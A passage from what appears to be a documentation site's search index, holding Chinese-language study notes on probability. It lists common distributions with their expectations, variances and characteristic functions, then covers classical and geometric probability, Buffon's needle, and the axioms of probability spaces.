distribution,\u79bb\u6563\u578b</p> \\[ \\left[ \\begin{matrix} 1&amp;0\\\\ p&amp;1-p \\end{matrix} \\right],p\\in (0,1) \\] <p>\u53ef\u4ee5\u8bb0\u4e3a\\(X\\sim B(1,p)\\);</p> <p>\u671f\u671b\u4e3a\\(E(X)=p\\),\u65b9\u5dee\u4e3a\\(Var(X)=p(1-p)\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(pe^{it}+1-p\\);</p> <p>\u5373 binomial distribution\uff0c\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=\\begin{pmatrix}     n\\\\k \\end{pmatrix} p^k(1-p)^{n-k},p\\in (0,1),k=0,1,\\cdots,n \\] <p>\u8bb0\u4e3a \\(\\xi\\sim B(n,p)\\)</p> <p>\u671f\u671b\u4e3a\\(E(X)=np\\),\u65b9\u5dee\u4e3a\\(Var(X)=np(1-p)\\),\u7279\u5f81\u51fd\u6570\u4e3a\\((pe^{it}+1-p)^n\\);</p> <p>\u5373 Poisson distribution\uff0c\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=\\frac{\\lambda^k}{k!}e^{-\\lambda} ,\\lambda&gt;0,k\\in \\mathbb N \\] <p>\u8bb0\u4e3a \\(\\xi\\sim\\mathcal{P}(\\lambda)\\)</p> <p>\u671f\u671b\u548c\u65b9\u5dee\u5747\u4e3a\\(\\lambda\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{\\lambda(e^{it}-1)}\\),\u4f7f\u7528\u51d1\u6210\u6cf0\u52d2\u5c55\u5f00\u63a8\u5bfc;</p> <p>\u5373 geometry distribution,\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u7b2c\u4e00\u6b21\u6210\u529f\u7684\u95ee\u9898,\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=p(1-p)^{k-1},p\\in (0,1),k\\in \\mathbb{N}_+ \\] <p>\u53ef\u4ee5\u8bb0\u4e3a\\(X\\sim G(p)\\);(Geometric distribution)</p> <p>\u671f\u671b\u4e3a\\(E(X)=\\frac{1}{p}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{1-p}{p^2}\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(\\frac{pe^{it}}{1-(1-p)e^{it}}\\);\u63a8\u5bfc\u8fc7\u7a0b\u662f\u7b49\u6bd4\u6570\u5217\u6c42\u548c.</p> <p>\u5373 hypergeometry distribution\uff0c\u4e00\u822c\u7528\u4e8e\u89e3\u51b3\u6b21\u54c1\u62bd\u6837\u95ee\u9898,\u79bb\u6563\u578b</p> \\[ P(\\xi=k)=\\frac{\\displaystyle \\begin{pmatrix}     M\\\\k \\end{pmatrix} \\begin{pmatrix}     N-M\\\\n-k \\end{pmatrix}     }{\\displaystyle \\begin{pmatrix}     N\\\\n \\end{pmatrix}} ,n\\leqslant N,M\\leqslant N,k=0,1,\\cdots, \\min\\{n,M\\} \\] <p>\u53ef\u4ee5\u8bb0\u4e3a\\(X\\sim H(N,M,n)\\);(Hypergeometry distribution)</p> <p>\u671f\u671b\u4e3a\\(E(X)=\\frac{nM}{N}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{nM}{N}(1-\\frac{M}{N})(\\frac{N-n}{N-1})\\),\u7279\u5f81\u51fd\u6570\u4f3c\u4e4e\u6ca1\u89c1\u8fc7;</p> <p>\u5373 uniform distribution,\u8fde\u7eed\u578b,\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ f(x)=\\begin{cases} \\frac{1}{b-a},&amp;a&lt;x&lt;b\\\\ 0,&amp;x\\leqslant a \\text{ or } x\\geqslant b \\end{cases} \\] <p>\u8bb0\u4e3a\\(X\\sim U(a,b)\\);</p> <p>\u6570\u5b66\u671f\u671b\u4e3a\\(E(X)=\\frac{a+b}{2}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{(b-a)^2}{12}\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(\\frac{e^{itb}-e^{ita}}{it(b-a)}\\);\u4e09\u8005\u63a8\u5bfc\u90fd\u662f\u65e0\u60c5\u79ef\u5206;</p> <p>\u5373 exponential distribution,\u8fde\u7eed\u578b</p> \\[ f(x)=\\begin{cases} \\lambda e^{-\\lambda x},&amp;x\\geqslant 0\\\\ 0,&amp;x&lt;0 \\end{cases} \\] <p>\u8bb0\u4e3a\\(X\\sim E(\\lambda)\\);</p> <p>\u6570\u5b66\u671f\u671b\u4e3a\\(E(X)=\\frac{1}{\\lambda}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{1}{\\lambda^2}\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(\\frac{\\lambda}{\\lambda-it}\\);</p> <p>\u5373 normal distribution,\u8fde\u7eed\u578b,\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ f(x)=\\frac{1}{\\sqrt{2\\pi}\\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}} \\] <p>\u8bb0\u4e3a\\(X\\sim N(\\mu,\\sigma^2)\\);</p> <p>\u6570\u5b66\u671f\u671b\u4e3a\\(E(X)=\\mu\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\sigma^2\\),\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{i\\mu t-\\frac{1}{2}\\sigma^2 t^2}\\); \u7279\u522b\u5730\uff0c\\(X\\sim N(0,1)\\)\u79f0\u4e3a\u6807\u51c6\u6b63\u6001\u5206\u5e03;\u5176\u7279\u5f81\u51fd\u6570\u4e3a\\(e^{-\\frac{1}{2}t^2}\\);</p> <p>\u82e5\\(\\xi_1,\\xi_2,\\cdots,\\xi_n\\)\u72ec\u7acb\u540c\u5206\u5e03\u4e8e\u6807\u51c6\u6b63\u6001\u5206\u5e03\\(N(0,1)\\),\u5219\u79f0\\(\\xi_1^2+\\xi_2^2+\\cdots+\\xi_n^2\\)\u670d\u4ece\u5361\u65b9\u5206\u5e03,\u4e3a\u8fde\u7eed\u578b</p> <p>\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[  f(x)=\\frac{1}{2^{\\frac{v}{2}}\\Gamma(\\frac{v}{2})}x^{\\frac{v}{2}-1}e^{-\\frac{x}{2}} \\] <p>\u8bb0\u4e3a\\(\\chi^2 \\sim \\chi^2(v)\\);</p> <p>\\(v\\) \u4e3a\u81ea\u7531\u5ea6,\u6307\u7684\u662f\u81ea\u7531\u53d8\u91cf\u7684\u4e2a\u6570(\\(n-r\\)),\\(r\\) \u4e3a\u7ea6\u675f\u6761\u4ef6\u7684\u4e2a\u6570;</p> <p>\u671f\u671b\u4e3a\\(E(\\chi^2)=v\\),\u65b9\u5dee\u4e3a\\(Var(\\chi^2)=2v\\),\u7279\u5f81\u51fd\u6570\u4e3a\\((1-2it)^{-\\frac{v}{2}}\\);</p> <p>\u8bb0\u5fc6\u8f83\u4e3a\u7e41\u7410,\u53ef\u4ee5\u53ea\u8bb0\u4f4f\u4f3d\u9a6c\u5206\u5e03\u5373\u53ef;</p> <p>\u5373 Gamma distribution,\u8fde\u7eed\u578b,\u6709\u5bc6\u5ea6\u51fd\u6570</p> \\[ f(x)=\\frac{\\lambda^\\alpha}{\\Gamma(\\alpha)}x^{\\alpha-1}e^{-\\lambda x} \\] <p>\u8bb0\u4e3a\\(X\\sim \\Gamma(\\alpha,\\lambda)\\);</p> <p>\u671f\u671b\u4e3a\\(E(X)=\\frac{\\alpha}{\\lambda}\\),\u65b9\u5dee\u4e3a\\(Var(X)=\\frac{\\alpha}{\\lambda^2}\\);</p> <p>\u7279\u5f81\u51fd\u6570\u4e3a\\((1-\\dfrac{it}{\\lambda})^{-\\alpha}\\);</p> <p>\u53ef\u4ee5\u770b\u5230\u4ee4\\(\\lambda=\\dfrac{1}{2},\\alpha=\\dfrac{v}{2}\\)\u65f6,\\(\\Gamma\\)\u5206\u5e03\u5373\u4e3a\\(\\chi^2\\)\u5206\u5e03;</p>"},{"location":"NOTE/Probability/first/","title":"\u4e8b\u4ef6\u53ca\u5176\u6982\u7387","text":"<p> \u7ea6 1370 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 5 \u5206\u949f</p> <p>Quote</p> <p>\u672c\u7ae0\u8282\u90e8\u5206\u5185\u5bb9\u53c2\u8003\u4e86\u5468\u5b66\u957f\u7684blog</p>"},{"location":"NOTE/Probability/first/#_2","title":"\u968f\u673a\u73b0\u8c61\u57df\u7edf\u8ba1\u89c4\u5f8b\u6027","text":""},{"location":"NOTE/Probability/first/#_3","title":"\u968f\u673a\u73b0\u8c61","text":"<ul> <li> <p>\u786e\u5b9a\u6027\u73b0\u8c61:\u53ef\u4ee5\u786e\u5b9a\u5728\u4e00\u5b9a\u6761\u4ef6\u4e0b\u67d0\u79cd\u73b0\u8c61\u5fc5\u5b9a\u53d1\u751f\u6216\u8005\u5fc5\u5b9a\u4e0d\u4f1a\u53d1\u751f</p> <ul> <li>\u5fc5\u7136\u4e8b\u4ef6:\u4e00\u5b9a\u4f1a\u53d1\u751f\uff0c\u4f8b\u5982\u592a\u9633\u4e00\u5b9a\u4f1a\u4e1c\u5347\u897f\u843d</li> <li>\u4e0d\u53ef\u80fd\u4e8b\u4ef6:\u4e00\u5b9a\u4e0d\u4f1a\u53d1\u751f\uff0c\u4f8b\u5982\u5bb6\u732a\u4f1a\u98de\u4e0a\u5929  </li> </ul> </li> <li> <p>\u968f\u673a\u73b0\u8c61:\u5728\u4e00\u5b9a\u6761\u4ef6\u4e0b\uff0c\u67d0\u79cd\u4e8b\u4ef6\u53ef\u80fd\u53d1\u751f\u4e5f\u53ef\u80fd\u4e0d\u53d1\u751f</p> </li> <li> <p>\u968f\u673a\u8bd5\u9a8c(random experiment):\u5bf9\u4e8e\u968f\u673a\u73b0\u8c61\uff0c\u5728\u57fa\u672c\u76f8\u540c\u7684\u6761\u4ef6\u4e0b\uff0c\u91cd\u590d\u8fdb\u884c\u8bd5\u9a8c\u6216\u8005\u89c2\u5bdf\uff0c\u53ef\u80fd\u51fa\u73b0\u4e0d\u540c\u7684\u7ed3\u679c(\u4f46\u662f\u7ed3\u679c\u7684\u6240\u6709\u53ef\u80fd\u662f\u77e5\u9053\u7684\uff0c\u4e0d\u77e5\u9053\u51fa\u73b0\u54ea\u4e00\u79cd\u53ef\u80fd)</p> </li> <li> <p>\u968f\u673a\u8bd5\u9a8c\u7684\u7ed3\u679c\u79f0\u4e3a\u968f\u673a\u4e8b\u4ef6(random event),\u7b80\u79f0\u4e8b\u4ef6</p> </li> </ul>"},{"location":"NOTE/Probability/first/#_4","title":"\u6982\u7387\u7684\u7edf\u8ba1\u5b9a\u4e49","text":"<p>\u76f8\u540c\u6761\u4ef6\u4e0b\u91cd\u590d\\(N\\)\u6b21\u8bd5\u9a8c,\u5404\u6b21\u8bd5\u9a8c\u4e92\u4e0d\u5f71\u54cd,\u4e8b\u4ef6\\(A\\)\u51fa\u73b0\u7684\u6b21\u6570(\u9891\u6570)\\(n\\),\u79f0</p> \\[ F_N(A)=\\dfrac{n}{N} \\] <p>\u4e3a \\(A\\) \u5728 \\(N\\) \u6b21\u8bd5\u9a8c\u4e2d\u51fa\u73b0\u7684 \u9891\u7387 (frequency)</p> <p>\\(N\\)\u8db3\u591f\u5927\u65f6\u9891\u7387\u4f1a\u8d8b\u5411\u4e8e\u4e00\u4e2a\u5e38\u6570\uff0c\u79f0\u4e3a \u6982\u7387 (probability),\u8bb0\u4e3a\\(P(A)\\),\u6982\u7387\u53ef\u4ee5\u8868\u793a\u4e8b\u4ef6\\(A\\)\u5728\u4e00\u6b21\u8bd5\u9a8c\u4e2d\u53d1\u751f\u7684\u53ef\u80fd\u6027\u7684\u5927\u5c0f</p> <p>\u6982\u7387\u548c\u9891\u7387\u7684\u7279\u6027</p> <ol> <li> <p>\u975e\u8d1f\u6027\uff1a\\(\\forall A\\in \\mathcal{F},P(A)\\geqslant 0\\)</p> </li> <li> <p>\u89c4\u8303\u6027\uff1a\\(P(\\Omega)=1\\)</p> </li> <li> <p>\u53ef\u5217\u53ef\u52a0\u6027\uff1a\\(A_i\\cap A_j=\\emptyset, i\\neq j\\) (\u5373 \\(A_1,\\cdots, A_n, \\cdots\\) \u4e3a\u4e24\u4e24\u4e0d\u76f8\u5bb9\u7684\u4e8b\u4ef6)</p> </li> </ol> \\[     P\\left(\\sum_{n=1}^\\infty A_n\\right)=\\sum_{n=1}^\\infty P(A_n) \\]"},{"location":"NOTE/Probability/first/#_5","title":"\u53e4\u5178\u6982\u578b","text":""},{"location":"NOTE/Probability/first/#_6","title":"\u6837\u672c\u7a7a\u95f4\u548c\u6837\u672c\u70b9","text":"<p>\u6837\u672c\u7a7a\u95f4\u548c\u6837\u672c\u70b9\u662f\u6982\u7387\u8bba\u548c\u7edf\u8ba1\u5b66\u4e2d\u7684\u4e24\u4e2a\u57fa\u672c\u6982\u5ff5\u3002</p> <p>\u6837\u672c\u7a7a\u95f4(Sample Space)</p> <p>\u6837\u672c\u7a7a\u95f4\u662f\u6307\u5728\u4e00\u6b21\u8bd5\u9a8c\u6216\u968f\u673a\u4e8b\u4ef6\u4e2d\uff0c\u6240\u6709\u53ef\u80fd\u7684\u7ed3\u679c\u7684\u96c6\u5408\u3002\u7528\u7b26\u53f7 \\( S \\) \u6216 \\( \\Omega \\) \u8868\u793a\u3002\u4f8b\u5982\uff1a</p> <ul> <li>\u63b7\u4e00\u679a\u786c\u5e01\uff1a\u6837\u672c\u7a7a\u95f4\u662f\u786c\u5e01\u7684\u6240\u6709\u53ef\u80fd\u7ed3\u679c\uff0c\u8bb0\u4f5c \\( S = \\{ \\text{\u6b63\u9762}, \\text{\u53cd\u9762} \\} \\) \u6216 \\( S = \\{H, T\\} \\)\u3002</li> <li>\u63b7\u4e00\u9897\u9ab0\u5b50\uff1a\u6837\u672c\u7a7a\u95f4\u662f\u9ab0\u5b50\u7684\u6240\u6709\u53ef\u80fd\u7ed3\u679c\uff0c\u8bb0\u4f5c \\( S = \\{1, 2, 3, 4, 5, 6\\} \\)\u3002</li> </ul> <p>\u6837\u672c\u70b9(Sample Point)</p> <p>\u6837\u672c\u70b9\u662f\u6837\u672c\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u5143\u7d20\uff0c\u8868\u793a\u4e00\u6b21\u8bd5\u9a8c\u7684\u4e00\u4e2a\u53ef\u80fd\u7ed3\u679c\u3002\u6837\u672c\u70b9\u662f\u6837\u672c\u7a7a\u95f4\u7684\u4e00\u4e2a\u5177\u4f53\u7ed3\u679c\u3002\u4f8b\u5982\uff1a</p> <ul> <li>\u5728\u63b7\u4e00\u679a\u786c\u5e01\u7684\u8bd5\u9a8c\u4e2d\uff0c\u6837\u672c\u7a7a\u95f4\u4e3a \\( S = \\{H, T\\} \\)\uff0c\u5176\u4e2d \\( H \\) \u548c \\( T \\) \u5c31\u662f\u6837\u672c\u70b9\u3002</li> <li> <p>\u5728\u63b7\u4e00\u9897\u9ab0\u5b50\u7684\u8bd5\u9a8c\u4e2d\uff0c\u6837\u672c\u7a7a\u95f4\u4e3a \\( S = \\{1, 2, 3, 4, 5, 6\\} \\)\uff0c\u5176\u4e2d \\( 1, 2, 3, 4, 5, 6 \\) \u90fd\u662f\u6837\u672c\u70b9\u3002</p> </li> <li> <p>\u6837\u672c\u7a7a\u95f4 \u662f\u6240\u6709\u53ef\u80fd\u7ed3\u679c\u7684\u96c6\u5408\u3002</p> </li> <li> <p>\u6837\u672c\u70b9 \u662f\u6837\u672c\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u5355\u4e00\u7ed3\u679c\u3002 </p> </li> </ul>"},{"location":"NOTE/Probability/first/#_7","title":"\u53e4\u5178\u6982\u578b","text":"<p>\u53e4\u5178\u6982\u578b\u7684\u7279\u5f81</p> <ol> <li>\u6837\u672c\u7a7a\u95f4\u4e2d\u6837\u672c\u70b9\u6709\u9650\uff0c\\(\\Omega=\\{\\omega_1,\\omega_2, \\cdots, \\omega_n\\}\\)</li> <li>\u5404\u57fa\u672c\u4e8b\u4ef6\u7b49\u53ef\u80fd\uff0c\u5373 \\(P(\\omega)=\\frac 1n\\)</li> </ol> <p>\u53e4\u5178\u6982\u7387(classical probability)\u7684\u8ba1\u7b97\uff1a</p> \\[     P(A)=\\frac m n=\\frac{A\\text{ \u5305\u542b\u7684\u6837\u672c\u70b9\u6570}}{\\text{\u6837\u672c\u7a7a\u95f4\u4e2d\u6837\u672c\u70b9\u603b\u6570}} \\] <p>Example</p> <p>\u6709 \\(n\\) \u4e2a\u7403\uff0c\\(N\\) \u4e2a\u683c\u5b50 (\\(n \\leqslant N\\))\uff0c\u7403\u4e0e\u683c\u5b50\u90fd\u662f\u53ef\u4ee5\u533a\u5206\u7684\u3002\u6bcf\u4e2a\u7403\u843d\u5728\u5404\u683c\u5b50\u7684\u6982\u7387\u76f8\u540c (\u8bbe\u683c\u5b50\u8db3\u591f\u5927\uff0c\u53ef\u4ee5\u5bb9\u7eb3\u4efb\u610f\u591a\u4e2a\u7403)\u3002\u5c06\u8fd9 \\(n\\) \u4e2a\u7403\u968f\u673a\u5730\u653e\u5165 \\(N\\) \u4e2a\u683c\u5b50\uff0c\u6c42\uff1a</p> <ol> <li>\u6307\u5b9a\u7684 \\(n\\) \u683c\u5404\u6709\u4e00\u7403\u7684\u6982\u7387\uff1b</li> <li>\u6709 \\(n\\) \u683c\u5404\u6709\u4e00\u7403\u7684\u6982\u7387\u3002</li> </ol> <p>\u628a\u7403\u7f16\u53f7\u4e3a \\(1 \\sim n\\)\uff0c\\(n\\) \u4e2a\u7403\u7684\u6bcf\u4e00\u79cd\u653e\u6cd5\u662f\u4e00\u4e2a\u6837\u672c\u70b9\uff0c\u8fd9\u5c5e\u4e8e\u53e4\u5178\u6982\u578b\u3002\u7531\u4e8e\u4e00\u4e2a\u683c\u5b50\u53ef\u5bb9\u7eb3\u4efb\u610f\u591a\u7403\uff0c\u6837\u672c\u70b9\u603b\u6570\u5e94\u8be5\u662f\u4ece \\(N\\) \u4e2a\u4e2d\u53d6 \\(n\\) \u4e2a\u7684\u91cd\u590d\u6392\u5217\u6570 \\(N^n\\)\u3002</p> <ol> <li>\u8bb0 \\(A = \\{\\text{\u6307\u5b9a\u7684 } n \\text{ \u683c\u5404\u6709\u4e00\u7403}\\}\\)\uff0c\u5b83\u5305\u542b\u7684\u6837\u672c\u70b9\u6570\u662f\u6307\u5b9a\u7684 \\(n\\) \u683c\u4e2d \\(n\\) \u4e2a\u7403\u7684\u5168\u6392\u5217\u6570 \\(n!\\)\uff0c\u6545\uff1a</li> </ol> \\[ P(A) = \\frac{n!}{N^n}. \\] <ol> <li>\u8bb0 \\(B = \\{\\text{\u6709 } n \\text{ \u683c\u5404\u6709\u4e00\u7403}\\}\\)\uff0c\u5b83\u6240\u5305\u542b\u7684\u6837\u672c\u70b9\u6570\u662f \\(N\\) \u683c\u4e2d\u4efb\u53d6 \\(n\\) \u683c\u7684\u5168\u6392\u5217\u6570 \\(P_{N}^{n}\\)\uff0c\u6545\uff1a</li> </ol> \\[ P(B) = \\frac{P_{N}^{n}}{N^n} = \\frac{N(N-1) \\cdots (N-n+1)}{N^n} = \\left( 1 - \\frac{1}{N} \\right) \\left( 1 - \\frac{2}{N} \\right) \\cdots \\left( 1 - \\frac{n-1}{N} \\right). \\] <p>\u6ce8\u610f\u5230 \\(\\log(1 - x) = -x + O(x^2), , x \\to 0\\)\u3002\u6211\u4eec\u6709\uff1a</p> \\[ \\log \\left( 1 - \\frac{1}{N} \\right) + \\log \\left( 1 - \\frac{2}{N} \\right) + \\cdots + \\log \\left( 1 - \\frac{n-1}{N} \\right) = \\sum_{k=1}^{n-1} \\log \\left( 1 - \\frac{k}{N} \\right) = - \\sum_{k=1}^{n-1} \\frac{k}{N} + O \\left( \\frac{n^3}{N^2} \\right). \\] <p>\u6545\u5f53 \\(N\\) \u6bd4 \\(n\\) \u5927\u5f97\u591a\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u91c7\u7528\u8fd1\u4f3c\u8ba1\u7b97\u516c\u5f0f\uff1a</p> \\[ P(B) \\approx \\exp \\left\\{ -\\frac{n(n-1)}{2N} \\right\\}. \\]"},{"location":"NOTE/Probability/first/#_8","title":"\u51e0\u4f55\u6982\u578b","text":"<p>\u51e0\u4f55\u6982\u578b\u7684\u7279\u5f81</p> <ol> <li>\u6837\u672c\u7a7a\u95f4\u4e2d\u6837\u672c\u70b9\u65e0\u9650</li> <li>\u6837\u672c\u70b9\u843d\u5728\u7b49\u6d4b\u5ea6(\u957f\u5ea6\u3001\u9762\u79ef\u3001\u4f53\u79ef...)\u533a\u57df\u7684\u6982\u7387\u76f8\u7b49</li> </ol> <p>\u51e0\u4f55\u6982\u578b\u7684\u8ba1\u7b97\uff1a</p> \\[     P(A_g)=\\frac{g\\text{ \u7684\u6d4b\u5ea6}}{\\Omega\\text{ \u7684\u6d4b\u5ea6}} \\] <p>\\(A_g=\\{\\text{\u4efb\u53d6\u6837\u672c\u70b9\uff0c\u4f4d\u4e8e\u533a\u57df }g\\in\\Omega\\text{ \u7684\u6982\u7387}\\}\\)</p> <p>\u84b2\u4e30 (Buffon) \u6295\u9488\u95ee\u9898</p> <p>\u5e73\u9762\u4e0a\u753b\u5f88\u591a\u5e73\u884c\u7ebf\uff0c\u95f4\u8ddd\u4e3a \\(a\\)\u3002\u5411\u6b64\u5e73\u9762\u6295\u63b7\u957f\u4e3a \\(l \\, (l &lt; a)\\) \u7684\u9488\uff0c\u6c42\u6b64\u9488\u4e0e\u4efb\u4e00\u5e73\u884c\u7ebf\u76f8\u4ea4\u7684\u6982\u7387</p> <p>\u4ee5\u9488\u7684\u4efb\u4e00\u4f4d\u7f6e\u4e3a\u6837\u672c\u70b9\uff0c\u5b83\u53ef\u4ee5\u7531\u4e24\u4e2a\u53c2\u6570\u51b3\u5b9a\uff1a\u9488\u7684\u4e2d\u70b9\u4e0e\u6700\u8fd1\u7684\u5e73\u884c\u7ebf\u4e4b\u95f4\u7684\u8ddd\u79bb \\(x\\)\uff0c\u9488\u4e0e\u5e73\u884c\u7ebf\u7684\u5939\u89d2 \\(\\varphi\\)\u3002</p> <p>\u6837\u672c\u7a7a\u95f4\uff1a</p> \\[ \\Omega = \\{(\\varphi, x) \\mid 0 \\leqslant \\varphi \\leqslant \\pi, \\, 0 \\leqslant x \\leqslant \\frac{a}{2}\\} \\] <p>\u4e3a\u4e00\u77e9\u5f62\u3002\u9488\u4e0e\u5e73\u884c\u7ebf\u76f8\u4ea4\u7684\u533a\u57df\u662f\uff1a</p> \\[ g = \\{(\\varphi, x) \\mid x \\leqslant \\frac{l}{2} \\sin \\varphi\\} \\quad (\\text{\u89c1\u56fe}). \\] <p></p> <p>\u6240\u6c42\u6982\u7387\u662f\uff1a</p> \\[ P = \\frac{g \\, \\text{\u7684\u9762\u79ef}}{\\Omega \\, \\text{\u7684\u9762\u79ef}} = \\frac{\\int_0^{\\pi} \\frac{l}{2} \\sin \\varphi \\, d\\varphi}{\\pi (a/2)} = \\frac{2l}{a\\pi}. \\] \\[ \\text{\u5de6\u56fe\uff1a} \\quad a \\, \\text{\u4e3a\u5e73\u884c\u7ebf\u95f4\u8ddd\uff0c} \\, l \\, \\text{\u4e3a\u9488\u957f\uff0c} \\, x \\, \\text{\u4e3a\u8ddd\u79bb\uff0c} \\, \\varphi \\, \\text{\u4e3a\u89d2\u5ea6} \\] \\[ \\text{\u53f3\u56fe\uff1a} \\quad x = \\frac{l}{2} \\sin \\varphi \\] <p>\u56e0\u4e3a\u6982\u7387 \\(P\\) \u53ef\u4ee5\u7528\u591a\u6b21\u91cd\u590d\u8bd5\u9a8c\u7684\u9891\u7387\u6765\u8fd1\u4f3c\uff0c\u6240\u4ee5\u53ef\u4ee5\u5f97\u5230\u5b83\u7684\u8fd1\u4f3c\u503c\u3002\u65b9\u6cd5\u662f\u91cd\u590d\u6295\u9488 \\(N\\) \u6b21(\u6216\u4e00\u6b21\u6295\u9488\u82e5\u5e72\u679a\uff0c\u603b\u8ba1 \\(N\\) \u679a)\uff0c\u7edf\u8ba1\u4e0e\u5e73\u884c\u7ebf\u76f8\u4ea4\u7684\u679a\u6570 \\(n\\)\uff0c\u5219 \\(P \\approx n/N\\)\u3002</p> <p>\u53c8\u56e0\u4e3a \\(l \\leqslant a\\) \u4e14\u53ef\u7cbe\u786e\u6d4b\u91cf\uff0c\u6545\u4ece \\(2l/a\\pi \\approx n/N\\) \u53ef\u89e3\u5f97 \\(\\pi \\approx 2lN/an\\)\u3002\u5386\u53f2\u4e0a\u6709\u4eba\u4e0d\u6b62\u4e00\u6b21\u505a\u8fc7\u8fd9\u4e2a\u8bd5\u9a8c\uff0c\u505a\u5f97\u6700\u597d\u7684\u4e00\u4e2a\u6295\u63b7\u4e86 3408 \u6b21\uff0c\u7b97\u5f97 \\(\\pi \\approx 3.1415929\\)\uff0c\u5176\u7cbe\u786e\u5ea6\u5df2\u7ecf\u8fbe\u5230\u5c0f\u6570\u70b9\u540e\u7b2c\u516d\u4f4d\u3002</p> <p>\u8bbe\u8ba1\u4e00\u4e2a\u968f\u673a\u8bd5\u9a8c\uff0c\u901a\u8fc7\u5927\u91cf\u91cd\u590d\u8bd5\u9a8c\u5f97\u5230\u67d0\u79cd\u7ed3\u679c\uff0c\u4ee5\u786e\u5b9a\u6211\u4eec\u611f\u5174\u8da3\u7684\u67d0\u4e2a\u91cf\uff0c\u7531\u6b64\u800c\u53d1\u5c55\u7684\u8499\u7279\u5361\u6d1b(Monte-Carlo)\u65b9\u6cd5\u4e3a\u8fd9\u79cd\u8ba1\u7b97\u63d0\u4f9b\u4e86\u4e00\u79cd\u9014\u5f84\u3002\u968f\u7740\u7535\u5b50\u8ba1\u7b97\u673a\u7684\u53d1\u5c55\uff0c\u57fa\u4e8e\u968f\u673a\u8bd5\u9a8c\u6cd5\u7684\u5185\u5bb9\uff0c\u5f97\u4f7f\u8fd9\u79cd\u65b9\u6cd5\u53d8\u5f97\u975e\u5e38\u6709\u6548\u3002</p>"},{"location":"NOTE/Probability/first/#_9","title":"\u6982\u7387\u7684\u516c\u7406\u5316\u5b9a\u4e49","text":"<p>\u628a\u6837\u672c\u7a7a\u95f4\u770b\u505a\u5168\u96c6\uff0c\u4e8b\u4ef6\u770b\u4f5c\u5305\u542b\u6837\u672c\u70b9\u7684\u96c6\u5408,\u53ef\u4ee5\u91c7\u7528\u96c6\u5408\u8bba\u7684\u65b9\u6cd5\u6765\u7814\u7a76\u4e8b\u4ef6</p> <p>\u6709\u4e8b\u4ef6\u4e4b\u95f4\u7684\u4e2d\u7684</p> <ul> <li>\u5305\u542b</li> <li>\u76f8\u7b49</li> <li>\u5e76(\u81f3\u5c11\u4e00\u4e2a\u53d1\u751f)</li> <li>\u4ea4(\u540c\u65f6\u53d1\u751f)</li> <li>\u5dee(\\(A\\) \u5dee \\(B\\),\\(A\\)\u53d1\u751f\u4f46\\(B\\)\u4e0d\u53d1\u751f\\(A\\)\u5dee\\(B = A\\overline{B}\\))</li> <li>\u4e92\u4e0d\u76f8\u5bb9($A\\cap B = \\emptyset $)</li> <li>\u4e92\u9006\u4e8b\u4ef6($A \\cap B = \\emptyset $ \u4e14 \\(A \\cup B = \\Omega\\))</li> </ul> <p>Note</p> <p>\u4e8b\u4ef6\u7684\u5173\u7cfb\u4e0e\u8fd0\u7b97\u6ee1\u8db3\u96c6\u5408\u8bba\u4e2d\u6709\u5173\u96c6\u5408\u8fd0\u7b97\u7684\u4e00\u5207\u6027\u8d28(\u4ea4\u6362\u5f8b\uff0c\u7ed3\u5408\u5f8b\uff0c\u5206\u914d\u5f8b\uff0cDe Morgan\u5f8b)</p>"},{"location":"NOTE/Probability/first/#_10","title":"\u6982\u7387\u7a7a\u95f4","text":"<p>\u7b2c\u4e00\u4e2a\u8981\u7d20\u4e3a\u6837\u672c\u7a7a\u95f4 \\(\\Omega\\)\uff0c\u662f\u6837\u672c\u70b9 \\(\\omega\\) \u7684\u5168\u4f53\uff0c\u6839\u636e\u95ee\u9898\u9700\u8981\u4e8b\u5148\u53d6\u5b9a\u3002</p> <p>\u7b2c\u4e8c\u4e2a\u8981\u7d20\u4e3a\u4e8b\u4ef6\u57df \\(\\mathrm{F}\\)\uff0c\u662f \\(\\Omega\\) \u4e2d\u67d0\u4e9b\u6ee1\u8db3\u4e0b\u5217\u6761\u4ef6\u7684\u5b50\u96c6\u7684\u5168\u4f53\u6240\u7ec4\u6210\u7684\u96c6\u7c7b\uff1a</p> <ol> <li>\\(\\Omega \\in \\mathrm{F}\\)\uff1b</li> <li>\u82e5 \\(A \\in \\mathcal{F}\\)\uff0c\u5219 \\(A^c \\in \\mathcal{F}\\)\uff1b</li> <li>\u82e5 \\(A_1, A_2, \\ldots, A_n, \\ldots \\in \\mathcal{F}\\)\uff0c\u5219 \\(\\bigcup_{n=1}^\\infty A_n \\in \\mathcal{F}\\)\u3002</li> </ol> <p>Key-point</p> <p>\u603b\u7ed3\u4e3a\u4e8b\u4ef6\u57df\u4e2d\u7684\u8fd0\u7b97\u662f\u5c01\u95ed\u7684</p> <p>\u6ee1\u8db3\u8fd9\u4e09\u4e2a\u6761\u4ef6\u7684 \\(\\mathcal{F}\\) \u79f0\u4e3a \\(\\Omega\\) \u4e0a\u7684 \\(\\sigma\\)-\u4ee3\u6570\u6216 \\(\\sigma\\)-\u57df\u3002 \\(\\mathcal{F}\\) \u4e2d\u7684\u5143\u7d20\uff08\\(\\Omega\\) \u7684\u5b50\u96c6\uff09\u79f0\u4e3a\u4e8b\u4ef6\u3002</p> 